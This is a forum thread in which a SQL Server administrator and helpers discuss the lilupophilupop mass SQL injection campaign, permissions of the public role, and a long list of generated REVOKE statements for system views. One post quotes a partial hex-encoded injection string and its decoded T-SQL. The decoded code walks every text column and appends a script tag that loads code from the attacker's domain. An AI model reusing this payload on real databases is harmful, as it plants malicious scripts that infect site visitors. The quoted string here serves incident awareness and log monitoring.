SQL INJECTION - lilupophilupop. Attack, HELP!!

A question will be are you sure it was an SQL injection?

What you need to do is to get all the inserts and updates that are done to the database through your application and make sure you validate the input to allow only values that are supposed to get through.

Restrict the UPDATE, INSERT and DELETE access to any user than the application user and DBAs and/or yourself.

Here is an article with more details: http://www.codeproject.com/KB/database/SqlInjectionAttacks.aspx

Thank you for your feedback, Zberteoc.

Yes, it is a SQL Injection attack. Thousands have experienced (... see below ... actual injection string ...)

What I am concerned about it the Public Role.  
As I indicated in my posting,

The public DB Role has permissions (select, execute, etc.) in the user DBs and the Master DB - select of all Information_schema views, etc.
3. Public Server Role has the following rights:
CONNECT on Endpoint 'TSQL Local Machine', CONNECT on Endpoint 'TSQL Named Pipes', CONNECT on Endpoint 'TSQL Default TCP', CONNECT on Endpoint 'TSQL Default VIA', VIEW ANY DATABASE on Server, VIEW ANY DEFINITION on Server

How do I go about restricting access to Public DB Role and Public server role w/o causing other problems.

Right now, any login/user, with a select access to any DB can query the INFORMATION_SCHEMA VIEWS AND OTHER SYSTEM TABLES and get, say, table names ... that is how my tables were written to ... with the ...<script>...<script> ... tag.

Thanks,


---------------------------------------------------------------
INJECTION STRING LOOKS SOMETHING LIKE ...
The injection string is along the lines Terry posted in his comments.  the one I ran across is (note not the whole string is provided)
73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404
320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f5220736
56c65637420632e---------snip----------9746c653e3c7363726970742727202729204645544348204e4558542046524f4d
205461626c655f437572736f722049444f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29
Which decodes to:
declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('------SNIP-------
IN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="XXXX://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+................
When discovered yesterday about 80 sites showed in Google, this morning about 200, by lunch 1000 and a few minutes ago 4000+.  Targets include ASP sites and Coldfusion (Thanks Will) The attack seems to work on all versions of MSSQL.
The hex will show in the IIS log files, so monitor those. Make sure that applications only have the access they require, so if the page does not need to update a DB, then use an account that can only read.
Sources of the attack vary, it is automated and spreading fairly rapidly. As one of the comments mentioned it looks like lizamoon which infected over 1,000,000 sites earlier this year.
The trail of the files ends up on "adobeflash page" or fake AV.  Blocking access to the lilupophilupop site will prevent infection of clients should they hit an infected site and be redirected.

This has nothing to do with the public role. Public role doesn't have write access to any of the database. Public is a default role that is given to any new login created on the server but the only thing that alows is to login to the server.

AFter you create a new login you have to grant it access to specific database(s) by mapping it to it(them) and only there you change the roles at the deatabase level if you want. If not bu default the login stays public and can only.

There is no need to worry about the public roles.

The injections use some application input in order to get access to the database through the user that application itself is using to access it. It is normal to has a user that has read/write access and execute on that database if the app is suppose to update/delet inserts and that should not be changed.

What you need to do, as I already said is to validate the input that is given to the application.

You sai that the string "decodes", how does it do that? Are you using data encription or something? I didn't understand that part.

Thank you,  both Zberteoc and Russell_Venable:

Zberteoc, I do understand the purpose/use of the "public" role.  What I keep on saying is that since the public DB Role has permissions (select, execute certain SPs in master, etc.) in the user DBs and the Master DB - including select of all Information_schema views, etc.  IT IS ABLE TO, SAY, FIND LIST OF ALL USER TABLES, COLUMNS, TYPES, ETC. and subsequently insert data to each and every user table, which is PRECICELY WHAT IT DID IN OUR CASE. If it did not get the list of user tables from this VULNERABLITY, where did it get it from, SINCE THE LOGIN/USER the website is using to connect to the DB has no access to any object in the MASTER database.

I am certain that the VULNERABLITY posed by the public role has been exploited. MY QUESTION IS VERY SIMPLE, "HOW DO I REDUCE THE ACCESS OF THE PUBLIC ROLE?  ARE THERE ANY RAMIFICATIONS? WHAT SHOULD I GIVE AS MINIMUM RIGHT TO PUBLIC ROLE?

NOTE: I am giving access to logins/users via DB Roles ...

Remark: I run SQLSecure from Idera, and received the following "HIGH" Risk!! msg from the tool, thus confirming my suspision.

3. Public Server Role has the following rights:
CONNECT on Endpoint 'TSQL Local Machine', CONNECT on Endpoint 'TSQL Named Pipes', CONNECT on Endpoint 'TSQL Default TCP', CONNECT on Endpoint 'TSQL Default VIA', VIEW ANY DATABASE on Server, VIEW ANY DEFINITION on Server

Execute the query bellow to generate the statements to deny select access on Information_Schema and sys schema views. Execute it in Text mode, copy the statements and paste them in a new query window and execute them:

SELECT ' REVOKE SELECT ON '+ s.name + '.' + o.name + ' TO public' 
FROM sys.all_views o, sys.schemas s
WHERE o.schema_id = s.Schema_id
AND o.SCHEMA_ID IN (3, 4)

Select allOpen in new window

Thank you, Zberteoc:

I run the ... Revoke on the user DBs plus the Master, etc.

I want to say this and include the output below ... for others to watch out for ...
the Public role had select and exec and select  in the master DB on over 1200 objects including sys.

Thank you all for your help.
Dan

please see below:

SELECT ' REVOKE SELECT ON '+ s.name + '.' + o.name + ' TO public'
FROM sys.all_views o, sys.schemas s
WHERE o.schema_id = s.Schema_id
AND o.SCHEMA_ID IN (3, 4)
--
-- Output follows
-- copy and run in master db
--
-- REVOKE SELECT ON INFORMATION_SCHEMA.TABLE_PRIVILEGES TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.DOMAINS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.SCHEMATA TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.ROUTINE_COLUMNS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.COLUMNS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.TABLE_CONSTRAINTS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.KEY_COLUMN_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.VIEWS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.VIEW_COLUMN_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.ROUTINES TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.VIEW_TABLE_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.PARAMETERS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.CHECK_CONSTRAINTS TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.TABLES TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE TO public
-- REVOKE SELECT ON INFORMATION_SCHEMA.COLUMN_PRIVILEGES TO public
-- REVOKE SELECT ON sys.dm_os_hosts TO public
-- REVOKE SELECT ON sys.openkeys TO public
-- REVOKE SELECT ON sys.dm_os_memory_allocations TO public
-- REVOKE SELECT ON sys.dm_os_loaded_modules TO public
-- REVOKE SELECT ON sys.dm_db_task_space_usage TO public
-- REVOKE SELECT ON sys.dm_os_memory_objects TO public
-- REVOKE SELECT ON sys.dm_os_schedulers TO public
-- REVOKE SELECT ON sys.dm_os_threads TO public
-- REVOKE SELECT ON sys.dm_exec_requests TO public
-- REVOKE SELECT ON sys.dm_repl_tranhash TO public
-- REVOKE SELECT ON sys.dm_qn_subscriptions TO public
-- REVOKE SELECT ON sys.dm_db_session_space_usage TO public
-- REVOKE SELECT ON sys.dm_exec_query_optimizer_info TO public
-- REVOKE SELECT ON sys.dm_tran_top_version_generators TO public
-- REVOKE SELECT ON sys.traces TO public
-- REVOKE SELECT ON sys.dm_os_waiting_tasks TO public
-- REVOKE SELECT ON sys.dm_exec_background_job_queue TO public
-- REVOKE SELECT ON sys.dm_db_missing_index_details TO public
-- REVOKE SELECT ON sys.dm_clr_properties TO public
-- REVOKE SELECT ON sys.dm_os_sublatches TO public
-- REVOKE SELECT ON sys.dm_exec_query_memory_grants TO public
-- REVOKE SELECT ON sys.dm_tran_current_snapshot TO public
-- REVOKE SELECT ON sys.dm_os_wait_stats TO public
-- REVOKE SELECT ON sys.dm_broker_connections TO public
-- REVOKE SELECT ON sys.dm_os_stacks TO public
-- REVOKE SELECT ON sys.dm_os_ring_buffers TO public
-- REVOKE SELECT ON sys.dm_db_missing_index_groups TO public
-- REVOKE SELECT ON sys.dm_exec_cached_plans TO public
-- REVOKE SELECT ON sys.user_token TO public
-- REVOKE SELECT ON sys.dm_exec_sessions TO public
-- REVOKE SELECT ON sys.dm_broker_forwarded_messages TO public
-- REVOKE SELECT ON sys.dm_os_memory_clerks TO public
-- REVOKE SELECT ON sys.dm_repl_articles TO public
-- REVOKE SELECT ON sys.dm_fts_memory_buffers TO public
-- REVOKE SELECT ON sys.dm_fts_index_population TO public
-- REVOKE SELECT ON sys.securable_classes TO public
-- REVOKE SELECT ON sys.dm_tran_current_transaction TO public
-- REVOKE SELECT ON sys.dm_os_child_instances TO public
-- REVOKE SELECT ON sys.dm_exec_connections TO public
-- REVOKE SELECT ON sys.system_components_surface_area_configuration TO public
-- REVOKE SELECT ON sys.dm_exec_background_job_queue_stats TO public
-- REVOKE SELECT ON sys.event_notification_event_types TO public
-- REVOKE SELECT ON sys.dm_fts_active_catalogs TO public
-- REVOKE SELECT ON sys.dm_tran_database_transactions TO public
-- REVOKE SELECT ON sys.dm_os_memory_cache_clock_hands TO public
-- REVOKE SELECT ON sys.dm_repl_schemas TO public
-- REVOKE SELECT ON sys.dm_db_mirroring_connections TO public
-- REVOKE SELECT ON sys.dm_db_partition_stats TO public
-- REVOKE SELECT ON sys.trace_event_bindings TO public
-- REVOKE SELECT ON sys.trace_events TO public
-- REVOKE SELECT ON sys.dm_io_pending_io_requests TO public
-- REVOKE SELECT ON sys.dm_os_memory_cache_entries TO public
-- REVOKE SELECT ON sys.dm_os_virtual_address_dump TO public
-- REVOKE SELECT ON sys.dm_tran_transactions_snapshot TO public
-- REVOKE SELECT ON sys.dm_os_memory_cache_hash_tables TO public
-- REVOKE SELECT ON sys.dm_exec_query_stats TO public
-- REVOKE SELECT ON sys.trace_columns TO public
-- REVOKE SELECT ON sys.dm_clr_tasks TO public
-- REVOKE SELECT ON sys.dm_os_worker_local_storage TO public
-- REVOKE SELECT ON sys.dm_db_index_usage_stats TO public
-- REVOKE SELECT ON sys.dm_os_buffer_descriptors TO public
-- REVOKE SELECT ON sys.dm_tran_active_snapshot_database_transactions TO public
-- REVOKE SELECT ON sys.dm_tran_active_transactions TO public
-- REVOKE SELECT ON sys.dm_db_file_space_usage TO public
-- REVOKE SELECT ON sys.dm_broker_activated_tasks TO public
-- REVOKE SELECT ON sys.dm_broker_queue_monitors TO public
-- REVOKE SELECT ON sys.dm_os_memory_cache_counters TO public
-- REVOKE SELECT ON sys.dm_tran_session_transactions TO public
-- REVOKE SELECT ON sys.trace_categories TO public
-- REVOKE SELECT ON sys.dm_clr_appdomains TO public
-- REVOKE SELECT ON sys.dm_os_memory_pools TO public
-- REVOKE SELECT ON sys.fulltext_languages TO public
-- REVOKE SELECT ON sys.dm_os_latch_stats TO public
-- REVOKE SELECT ON sys.dm_io_backup_tapes TO public
-- REVOKE SELECT ON sys.dm_fts_memory_pools TO public
-- REVOKE SELECT ON sys.dm_os_sys_info TO public
-- REVOKE SELECT ON sys.dm_tran_locks TO public
-- REVOKE SELECT ON sys.dm_exec_query_transformation_stats TO public
-- REVOKE SELECT ON sys.dm_exec_query_resource_semaphores TO public
-- REVOKE SELECT ON sys.dm_repl_traninfo TO public
-- REVOKE SELECT ON sys.dm_db_missing_index_group_stats TO public
-- REVOKE SELECT ON sys.dm_fts_population_ranges TO public
-- REVOKE SELECT ON sys.trace_subclass_values TO public
-- REVOKE SELECT ON sys.dm_os_performance_counters TO public
-- REVOKE SELECT ON sys.dm_os_workers TO public
-- REVOKE SELECT ON sys.dm_io_cluster_shared_drives TO public
-- REVOKE SELECT ON sys.dm_os_tasks TO public
-- REVOKE SELECT ON sys.fulltext_document_types TO public
-- REVOKE SELECT ON sys.login_token TO public
-- REVOKE SELECT ON sys.dm_tran_version_store TO public
-- REVOKE SELECT ON sys.dm_os_cluster_nodes TO public
-- REVOKE SELECT ON sys.dm_clr_loaded_assemblies TO public
-- REVOKE SELECT ON sys.system_sql_modules TO public
-- REVOKE SELECT ON sys.system_internals_allocation_units TO public
-- REVOKE SELECT ON sys.system_internals_partition_columns TO public
-- REVOKE SELECT ON sys.system_internals_partitions TO public
-- REVOKE SELECT ON sys.plan_guides TO public
-- REVOKE SELECT ON sys.module_assembly_usages TO public
-- REVOKE SELECT ON sys.type_assembly_usages TO public
-- REVOKE SELECT ON sys.fulltext_index_catalog_usages TO public
-- REVOKE SELECT ON sys.service_queue_usages TO public
-- REVOKE SELECT ON sys.parameter_type_usages TO public
-- REVOKE SELECT ON sys.column_type_usages TO public
-- REVOKE SELECT ON sys.message_type_xml_schema_collection_usages TO public
-- REVOKE SELECT ON sys.parameter_xml_schema_collection_usages TO public
-- REVOKE SELECT ON sys.column_xml_schema_collection_usages TO public
-- REVOKE SELECT ON sys.asymmetric_keys TO public
-- REVOKE SELECT ON sys.internal_tables TO public
-- REVOKE SELECT ON sys.certificates TO public
-- REVOKE SELECT ON sys.crypt_properties TO public
-- REVOKE SELECT ON sys.key_encryptions TO public
-- REVOKE SELECT ON sys.symmetric_keys TO public
-- REVOKE SELECT ON sys.xml_schema_collections TO public
-- REVOKE SELECT ON sys.transmission_queue TO public
-- REVOKE SELECT ON sys.routes TO public
-- REVOKE SELECT ON sys.remote_service_bindings TO public
-- REVOKE SELECT ON sys.xml_schema_component_placements TO public
-- REVOKE SELECT ON sys.xml_schema_wildcard_namespaces TO public
-- REVOKE SELECT ON sys.xml_schema_wildcards TO public
-- REVOKE SELECT ON sys.xml_schema_attributes TO public
-- REVOKE SELECT ON sys.xml_schema_model_groups TO public
-- REVOKE SELECT ON sys.xml_schema_elements TO public
-- REVOKE SELECT ON sys.xml_schema_facets TO public
-- REVOKE SELECT ON sys.xml_schema_types TO public
-- REVOKE SELECT ON sys.xml_schema_components TO public
-- REVOKE SELECT ON sys.xml_schema_namespaces TO public
-- REVOKE SELECT ON sys.extended_properties TO public
-- REVOKE SELECT ON sys.database_files TO public
-- REVOKE SELECT ON sys.conversation_endpoints TO public
-- REVOKE SELECT ON sys.conversation_groups TO public
-- REVOKE SELECT ON sys.service_contract_usages TO public
-- REVOKE SELECT ON sys.services TO public
-- REVOKE SELECT ON sys.service_contract_message_usages TO public
-- REVOKE SELECT ON sys.service_contracts TO public
-- REVOKE SELECT ON sys.service_message_types TO public
-- REVOKE SELECT ON sys.fulltext_catalogs TO public
-- REVOKE SELECT ON sys.destination_data_spaces TO public
-- REVOKE SELECT ON sys.partition_schemes TO public
-- REVOKE SELECT ON sys.filegroups TO public
-- REVOKE SELECT ON sys.data_spaces TO public
-- REVOKE SELECT ON sys.partition_range_values TO public
-- REVOKE SELECT ON sys.partition_parameters TO public
-- REVOKE SELECT ON sys.partition_functions TO public
-- REVOKE SELECT ON sys.assembly_references TO public
-- REVOKE SELECT ON sys.assembly_files TO public
-- REVOKE SELECT ON sys.assemblies TO public
-- REVOKE SELECT ON sys.database_permissions TO public
-- REVOKE SELECT ON sys.database_role_members TO public
-- REVOKE SELECT ON sys.database_principal_aliases TO public
-- REVOKE SELECT ON sys.database_principals TO public
-- REVOKE SELECT ON sys.schemas TO public
-- REVOKE SELECT ON sys.assembly_types TO public
-- REVOKE SELECT ON sys.types TO public
-- REVOKE SELECT ON sys.sql_dependencies TO public
-- REVOKE SELECT ON sys.service_queues TO public
-- REVOKE SELECT ON sys.synonyms TO public
-- REVOKE SELECT ON sys.numbered_procedure_parameters TO public
-- REVOKE SELECT ON sys.numbered_procedures TO public
-- REVOKE SELECT ON sys.assembly_modules TO public
-- REVOKE SELECT ON sys.sql_modules TO public
-- REVOKE SELECT ON sys.trigger_events TO public
-- REVOKE SELECT ON sys.events TO public
-- REVOKE SELECT ON sys.event_notifications TO public
-- REVOKE SELECT ON sys.triggers TO public
-- REVOKE SELECT ON sys.procedures TO public
-- REVOKE SELECT ON sys.foreign_key_columns TO public
-- REVOKE SELECT ON sys.foreign_keys TO public
-- REVOKE SELECT ON sys.default_constraints TO public
-- REVOKE SELECT ON sys.check_constraints TO public
-- REVOKE SELECT ON sys.key_constraints TO public
-- REVOKE SELECT ON sys.fulltext_index_columns TO public
-- REVOKE SELECT ON sys.fulltext_indexes TO public
-- REVOKE SELECT ON sys.stats_columns TO public
-- REVOKE SELECT ON sys.stats TO public
-- REVOKE SELECT ON sys.index_columns TO public
-- REVOKE SELECT ON sys.allocation_units TO public
-- REVOKE SELECT ON sys.partitions TO public
-- REVOKE SELECT ON sys.xml_indexes TO public
-- REVOKE SELECT ON sys.indexes TO public
-- REVOKE SELECT ON sys.identity_columns TO public
-- REVOKE SELECT ON sys.computed_columns TO public
-- REVOKE SELECT ON sys.system_parameters TO public
-- REVOKE SELECT ON sys.parameters TO public
-- REVOKE SELECT ON sys.system_columns TO public
-- REVOKE SELECT ON sys.columns TO public
-- REVOKE SELECT ON sys.system_views TO public
-- REVOKE SELECT ON sys.system_objects TO public
-- REVOKE SELECT ON sys.extended_procedures TO public
-- REVOKE SELECT ON sys.views TO public
-- REVOKE SELECT ON sys.tables TO public
-- REVOKE SELECT ON sys.objects TO public
-- REVOKE SELECT ON sys.master_key_passwords TO public
-- REVOKE SELECT ON sys.database_recovery_status TO public
-- REVOKE SELECT ON sys.database_mirroring TO public
-- REVOKE SELECT ON sys.credentials TO public
-- REVOKE SELECT ON sys.server_assembly_modules TO public
-- REVOKE SELECT ON sys.server_sql_modules TO public
-- REVOKE SELECT ON sys.server_trigger_events TO public
-- REVOKE SELECT ON sys.server_triggers TO public
-- REVOKE SELECT ON sys.database_mirroring_endpoints TO public
-- REVOKE SELECT ON sys.server_events TO public
-- REVOKE SELECT ON sys.server_event_notifications TO public
-- REVOKE SELECT ON sys.endpoint_webmethods TO public
-- REVOKE SELECT ON sys.service_broker_endpoints TO public
-- REVOKE SELECT ON sys.soap_endpoints TO public
-- REVOKE SELECT ON sys.via_endpoints TO public
-- REVOKE SELECT ON sys.tcp_endpoints TO public
-- REVOKE SELECT ON sys.http_endpoints TO public
-- REVOKE SELECT ON sys.endpoints TO public
-- REVOKE SELECT ON sys.messages TO public
-- REVOKE SELECT ON sys.configurations TO public
-- REVOKE SELECT ON sys.sql_logins TO public
-- REVOKE SELECT ON sys.linked_logins TO public
-- REVOKE SELECT ON sys.remote_logins TO public
-- REVOKE SELECT ON sys.servers TO public
-- REVOKE SELECT ON sys.server_permissions TO public
-- REVOKE SELECT ON sys.server_role_members TO public
-- REVOKE SELECT ON sys.server_principals TO public
-- REVOKE SELECT ON sys.master_files TO public
-- REVOKE SELECT ON sys.backup_devices TO public
-- REVOKE SELECT ON sys.database_mirroring_witnesses TO public
-- REVOKE SELECT ON sys.databases TO public

Np Dan. Are you still cleaning all the entries out of your SQL db?